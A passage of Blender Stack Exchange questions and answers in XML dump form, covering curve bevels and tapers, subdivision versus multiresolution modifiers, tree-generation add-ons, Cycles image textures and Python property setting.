  <row Id="8683" PostTypeId="1" AcceptedAnswerId="8684" CreationDate="2014-04-18T01:24:31.060" Score="25" ViewCount="52562" Body="&lt;p&gt;How can I make a Bézier curve into a 3D-noodle-like structure (like a tube)?&#xA;When I try, it keeps turning out like a rectangle with corners.&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="1253" LastEditDate="2014-04-18T08:13:45.703" LastActivityDate="2019-11-04T21:54:42.417" Title="Make a 3D tube with a Bézier curve?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8684" PostTypeId="2" ParentId="8683" CreationDate="2014-04-18T01:31:25.813" Score="31" Body="&lt;p&gt;To make a tube, set the &lt;em&gt;Fill&lt;/em&gt; to full in &lt;em&gt;Curve &gt; Shape&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tq2mo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then increase the bevel &lt;em&gt;Depth&lt;/em&gt; and &lt;em&gt;Resolution&lt;/em&gt; in &lt;em&gt;Curve &gt; Geometry&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L7X6M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a more complex/custom shape, you can use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves#Geometry&quot; rel=&quot;noreferrer&quot;&gt;bevel object&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PItbi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-04-18T01:38:14.770" LastActivityDate="2014-04-18T01:38:14.770" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8685" PostTypeId="1" CreationDate="2014-04-17T02:35:27.263" Score="14" ViewCount="16221" Body="&lt;p&gt;I'm currently modeling my game character in Blender (see below picture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the difference between a subdivision surface modifier and a multiresolution modifier? I know they smooth the surface but are there specific characteristics to using each and what are those?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZcJ0H.png&quot; alt=&quot;low poly character model&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3173" OwnerDisplayName="John H" LastEditorUserId="1363" LastEditDate="2014-04-18T02:01:46.847" LastActivityDate="2014-04-19T03:54:59.153" Title="What is the difference between a subdivision surface modifier and multiresolution modifier?" Tags="&lt;modifiers&gt;&lt;geometry&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8686" PostTypeId="2" ParentId="8683" CreationDate="2014-04-18T01:38:22.023" Score="13" Body="&lt;h2&gt;Make a Curve into a Tube&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Curve: &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Curve -&gt; Bezier  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oX2ck.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now add a Circle Curve: &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Curve -&gt; Circle  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SSoe2.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now use the circle as the bevel object for the bezier curve:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the bezier curve  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Object Properties window -&gt; Curve tab -&gt; set Bevel Object to the circle &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale the circle until the tube is the size you want &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fQvPJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you would then like to edit the shape of your tube, just edit the Bevel Object, which here is the circle:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RyD3l.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-18T13:34:47.133" LastActivityDate="2014-04-18T13:34:47.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8687" PostTypeId="1" AcceptedAnswerId="8691" CreationDate="2014-04-18T02:03:22.127" Score="18" ViewCount="17670" Body="&lt;p&gt;I have made a bezier tube and I want some parts of it to be large and others to be small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to set the depth for one of its vertices, it just changes the depth for the whole object. Is there a way to change the depth for separate parts of the bezier curve?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="2217" LastEditDate="2014-04-26T18:37:45.813" LastActivityDate="2014-04-26T18:37:45.813" Title="How to vary the thickness of a Bezier curve?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="8688" PostTypeId="1" AcceptedAnswerId="8689" CreationDate="2014-04-18T02:21:25.927" Score="10" ViewCount="51515" Body="&lt;p&gt;Is there an easy way to make a tree in Blender? I'd like to have branches that have smaller branches that branch off, but I don't want to go through all the trouble of modeling each branch by converting curves to mesh, then joining them, then turning them back into curves. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2217" LastEditDate="2014-04-20T21:18:38.797" LastActivityDate="2021-02-17T22:45:00.153" Title="Is there an easy way to make a tree in Blender?" Tags="&lt;modeling&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8689" PostTypeId="2" ParentId="8688" CreationDate="2014-04-18T02:21:25.927" Score="25" Body="&lt;h2&gt;Make a Tree with the &quot;Sapling&quot; Addon&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to make a tree in Blender, you can use the built-in addon named &quot;Sapling&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable it:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Info header -&gt; File -&gt; User Preferences  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dNRNV.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In the search box, type Sapling&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the checkbox at the right hand side of the addon&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to always have Sapling in your Add menu, then click on the Save User Settings button at the bottom of the screen:   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JmiUC.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To add a tree to your scene:&lt;br&gt;&#xA;&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Curve -&gt; Add Tree  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D4yRA.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust all the settings:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jSovA.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since quite a lot of the settings are not labeled in any obvious way, I recommend studying&lt;br&gt;&#xA;&lt;a href=&quot;https://www.google.com/search?q=blender%20sapling%20tutorial&amp;amp;rlz=1C5CHFA_enUS511US512&amp;amp;oq=blender%20sapling%20tutorial&amp;amp;aqs=chrome..69i57j0l2j69i64.6598j0j7&amp;amp;sourceid=chrome&amp;amp;es_sm=119&amp;amp;ie=UTF-8&quot; rel=&quot;noreferrer&quot;&gt;tutorials on Sapling&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; You &lt;strong&gt;MUST&lt;/strong&gt; set all the settings the way you want them to be before you do &lt;strong&gt;ANYTHING&lt;/strong&gt; else, otherwise they cannot be changed and the tree will stay that way (i.e. it's parameters are not changeable after it is first created.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sapling is &lt;em&gt;very&lt;/em&gt; versatile and can create many, many types of trees and bushes. Here are some samples:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IXt0W.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3lPKE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/npCCy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-18T02:53:55.387" LastActivityDate="2014-04-18T02:53:55.387" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8690" PostTypeId="2" ParentId="8685" CreationDate="2014-04-18T05:05:33.740" Score="19" Body="&lt;p&gt;When using the sculpt tool, you will sometimes want to add more detail than your mesh has vertices to support.  You could add vertices by subdividing the mesh, but subdividing the mesh will increase the complexity of the model, slowing blender down, making the model larger, making the mesh less usable for certain applications (like games).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sub surface allows you to increase the vertices as a modify, but isn't affected by sculpting.  It's purpose is to add geometry to the whole mesh and make a lower poly figure a higher quality without increasing the complexity of the mesh. You cannot move, alter or sculpt the new vertices without applying the subsurface. It wasn't designed for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multi resolution modifier was added to allow you to add geometry for the purposes of adding detail to a sculpt. Vertices in a multi res modifier are affected by a sculpt even when not applied.  This allows you to sculpt with more verts than the base mesh has.  This is useful because you sculpt at a higher resolution, bake out the sculpt as a map, and apply it to the mesh as a normal map, without increasing the actual number of vertices the mesh has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you're not sculpting, sub surface and multi resolution are logically equivalent, and the preference is for sub surface (less data in memory, easier interface).  If you are sculpting, and want to keep the mesh low poly, but need more detail in the sculpt, use multi resolution and then bake out the normal map (which can then be applied to the &lt;code&gt;surface&lt;/code&gt; of the object as a texture in the cycles node editor).&lt;/p&gt;&#xA;" OwnerUserId="2937" LastEditorUserId="2937" LastEditDate="2014-04-19T03:54:59.153" LastActivityDate="2014-04-19T03:54:59.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8691" PostTypeId="2" ParentId="8687" CreationDate="2014-04-18T06:27:20.310" Score="22" Body="&lt;h1&gt;Vertex Radius&lt;/h1&gt;&#xA;&lt;p&gt;You can scale the thickness of a curve at the selected vertices with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; in edit mode.&lt;/p&gt;&#xA;&lt;h1&gt;Taper Objects&lt;/h1&gt;&#xA;&lt;p&gt;You can also use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves#Geometry&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Taper object&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EzoYQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The distance from the object origin (yellow dot) in the local Y direction controls the width of the main curve:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BSrRK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-18T13:05:50.553" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8693" PostTypeId="2" ParentId="8654" CreationDate="2014-04-18T08:05:43.997" Score="6" Body="&lt;p&gt;The object has a scale of over &lt;code&gt;40,000&lt;/code&gt;. If you apply the scale (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Scale&lt;/em&gt;) everything will work correctly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S82WO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-18T08:05:43.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8694" PostTypeId="2" ParentId="8688" CreationDate="2014-04-18T08:09:26.823" Score="10" Body="&lt;p&gt;Sapling is a nice tree generation addon, but another one you can try is &lt;a href=&quot;http://blenderthings.blogspot.nl/p/the-spacetree-blender-add-on.html&quot;&gt;Space Tree&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/varkenvarken/spacetree/blob/master/release/add_mesh_space_tree.zip?raw=true&quot;&gt;Download the addon&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open blender and open the user preferences (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; or &lt;em&gt;File &gt; User preferences&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click install from file at the bottom of the preferences window and select to the downloaded zip.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the addon.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can also try &lt;a href=&quot;http://www.blendernation.com/2014/03/25/modelling-a-shrub-procedurally-with-the-space-tree-add-on/&quot;&gt;this tutorial&lt;/a&gt; about using the addon.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-18T08:09:26.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8695" PostTypeId="2" ParentId="8685" CreationDate="2014-04-18T09:28:48.570" Score="3" Body="&lt;p&gt;From &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Another way to subdivide is with the MultiResolution Modifier. This differs from Subsurf in that MultiRes allows you to edit the mesh at several subdivision levels without losing information at the other levels. It is slightly more complicated to use, but more powerful.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words:&lt;br&gt;&#xA;Changes made to the mesh (via sculpting) will be applied to lower and higher subdivision levels as well as the current level. To apply changes to the base mesh you must press &lt;em&gt;Apply Base&lt;/em&gt; on the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is different from the subserf modifier, where the subdivided mesh cannot be edited unless the modifier is applied.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Baking:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Another advantage of the multires modifier (in certain cases, of course) is the normal map baking workflow:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Model low poly mesh (in this case a cube) and UV unwrap (you can UV unwrap later too)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z7H4m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add multires and subdivide&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cNZCg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sculpt high res details&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T5Zyf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bake normals from multires (bakes the normals from the highest subdivision level to the current preview subdivision level mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o8U6h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also bake normals to the base mesh if the preview level is &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-04-18T09:28:48.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8697" PostTypeId="1" AcceptedAnswerId="8698" CreationDate="2014-04-18T14:57:12.577" Score="63" ViewCount="356455" Body="&lt;p&gt;I am creating a model of a glass and I would like to put a drawing on it (a png picture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to do it using Blender Render, but not with Cycles Render. Help :)&lt;/p&gt;&#xA;" OwnerUserId="3186" LastEditorUserId="2173" LastEditDate="2014-04-23T23:35:06.573" LastActivityDate="2018-03-22T13:28:40.233" Title="How do I put an image texture on a material in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;image&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="30" ContentLicense="CC BY-SA 3.0" />
  <row Id="8698" PostTypeId="2" ParentId="8697" CreationDate="2014-04-18T15:14:46.100" Score="90" Body="&lt;h2&gt;Applying an Image Texture in Cycles&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object you want to put the image on&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Give it a new material with an Image Texture Shader:&lt;br&gt;&#xA;Object Properties window -&gt; Materials tab -&gt; click the New button&lt;br&gt;&#xA;For the Color, click on the grey dot icon on the right side ( &lt;img src=&quot;https://i.stack.imgur.com/TzF9e.png&quot; alt=&quot;enter image description here&quot;&gt; ) then select &quot;Image Texture&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qCJl6.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the image you want to use:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i1DUH.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;UV Unwrap your object and position the image as you'd like it:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your object and enter Edit mode (&lt;kbd&gt;TAB&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unwrap mesh (&lt;kbd&gt;U&lt;/kbd&gt;) -&gt; here, I use Smart UV project&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EByQA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; UV Unwrapping a mesh and positioning the image properly can be a very complex and involved process. So, I highly recommend you study some &lt;a href=&quot;https://www.google.com/search?q=blender%20uv%20mapping%20tutorial&amp;amp;rlz=1C5CHFA_enUS511US512&amp;amp;oq=blender%20uv%20mapping%20tutorial&amp;amp;aqs=chrome..69i57j0l5.11203j0j7&amp;amp;sourceid=chrome&amp;amp;es_sm=119&amp;amp;ie=UTF-8&quot;&gt;UV Mapping tutorials&lt;/a&gt; to get all the details; YouTube has quite a lot of excellent &lt;a href=&quot;https://www.youtube.com/results?search_query=blender%20tutorials%20beginners%20uv%20mapping%20&quot;&gt;video tutorials for beginners&lt;/a&gt; on this subject.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-18T15:36:53.187" LastActivityDate="2014-04-18T15:36:53.187" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8699" PostTypeId="1" AcceptedAnswerId="8712" CreationDate="2014-04-18T15:34:23.410" Score="8" ViewCount="3834" Body="&lt;p&gt;I need the user to choose from a huge list of items. This is ugly and useless for lists longer than 100 items.  I'm happy with the rest of the code. I just want a scrollable listbox really.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class my_panel(Panel):&#xA;      bl_label = &quot;MYPANEL&quot;&#xA;      bl_idname = &quot;SCENE_PT_mypanel&quot;&#xA;      bl_space_type = 'PROPERTIES'&#xA;      bl_context = 'scene'&#xA;&#xA;      def draw(self,context):&#xA;           props = context.scene.myAddon&#xA;           self.layout.prop(props, 'jlist', text='jlist')&#xA;&#xA;&#xA;&#xA;def updateJlist(self,context):&#xA;     t = []&#xA;     for i,v in enumerate(master_jlist):&#xA;          t.append((v.name,v.name,'',i)&#xA;&#xA;     return t&#xA;&#xA;&#xA;jlist  = EnumProperty( items=updateJList) &#xA;bpy.types.Scene.myAddon = jlist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would also be happy with something like the material list. I can't seem to get UILayout.template_list, or UILayout.template_ID to work. Examples on the web refer to IDPropertyGroup which seems to be missing in recent blender builds.&lt;/p&gt;&#xA;" OwnerUserId="2452" LastActivityDate="2020-09-03T11:41:13.193" Title="What ui would work for choosing from a long, long list?" Tags="&lt;python&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8700" PostTypeId="2" ParentId="8697" CreationDate="2014-04-18T15:38:04.220" Score="10" Body="&lt;p&gt;You can add a texture to a mesh by plugging in the texture node into the corresponding material attribute. You can do this in the node editor as well as the material's panel.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the mesh you are trying to apply the texture to has a shader applied to it&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can easily add a new shader by selecting the mesh and in the materials tab clicking &lt;em&gt;New&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;UV unwrap your mesh. By default all textures in blender use UV maps. These must be generated by the user.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For some quick UVs select the mesh and go into edit, select the entire mesh, &lt;kbd&gt;U&lt;/kbd&gt; -&gt; Smart UV project.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the appropriate material attribute select as the input &lt;em&gt;Image Texture&lt;/em&gt; and navigate to your image&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To see the effect in the viewport you can set the display type to &lt;em&gt;Texutred&lt;/em&gt; or &lt;em&gt;Material&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LtulX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you do not want to use UV you can use other primitive UV projection types.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the vector input of the image map add a &lt;em&gt;input&lt;/em&gt; -&gt; &lt;em&gt;Texture Coordinate&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From the &lt;em&gt;Texture Coordinate&lt;/em&gt; choose an input, e.g &lt;em&gt;Generated&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(optional) To further modify the generated UV you can add a &lt;em&gt;Vector&lt;/em&gt; -&gt; &lt;em&gt;Mapping&lt;/em&gt; input between the texture and the &lt;em&gt;Texture Coordinate&lt;/em&gt; nodes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gn7gv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="2173" LastEditDate="2014-04-18T19:10:20.423" LastActivityDate="2014-04-18T19:10:20.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8701" PostTypeId="2" ParentId="8682" CreationDate="2014-04-18T15:42:07.333" Score="6" Body="&lt;p&gt;To set a property you only have as a string, you can use Python's &lt;code&gt;setattr()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;obj = bpy.context.object&#xA;&#xA;# regular method&#xA;obj.location = 1, 2, 3&#xA;&#xA;# using setattr&#xA;setattr(obj, &quot;location&quot;, (1, 2, 3))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Notice setattr takes a string, so this can come from anywhere you like.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simple properties, this works fine, however, if you want to set a path with multiple elements this becomes more complicated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg: &lt;code&gt;modifiers[&quot;Subsurf&quot;].levels&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case there isn't such a clean solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a blender specific function called &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70a_release/bpy.types.bpy_struct.html?highlight=path_resolve#bpy.types.bpy_struct.path_resolve&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy_struct.path_resolve&lt;/code&gt;&lt;/a&gt;. Internally this uses the same method which is used to resolve FCurve and driver paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could define a function for setting the attribute that combines &lt;code&gt;path_resolve&lt;/code&gt; and &lt;code&gt;setattr&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def value_set(obj, path, value):&#xA;&#xA;    if &quot;.&quot; in path:&#xA;        # gives us: ('modifiers[&quot;Subsurf&quot;]', 'levels')&#xA;        path_prop, path_attr = path.rsplit(&quot;.&quot;, 1)&#xA;&#xA;        # same as: prop = obj.modifiers[&quot;Subsurf&quot;]&#xA;        prop = obj.path_resolve(path_prop)&#xA;    else:&#xA;        prop = obj&#xA;        # single attribute such as name, location... etc&#xA;        path_attr = path&#xA;&#xA;    # same as: prop.levels = value&#xA;    setattr(prop, path_attr, value)&#xA;&#xA;# example usage (requires path_resolve)&#xA;value_set(bpy.context.object, 'modifiers[&quot;Subsurf&quot;].levels', 2)&#xA;&#xA;# example usage (uses simple setattr)&#xA;value_set(bpy.context.object, 'location', (1, 2, 3))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However this is a bit involved, you could just do...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exec(&quot;obj&quot; + path + &quot; = value&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though using &lt;code&gt;exec&lt;/code&gt; is not ideal, especially if you don't know where the inputs come from. (security considerations)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: even though the example uses &lt;code&gt;bpy.context.object&lt;/code&gt; you could use a Scene, Group, 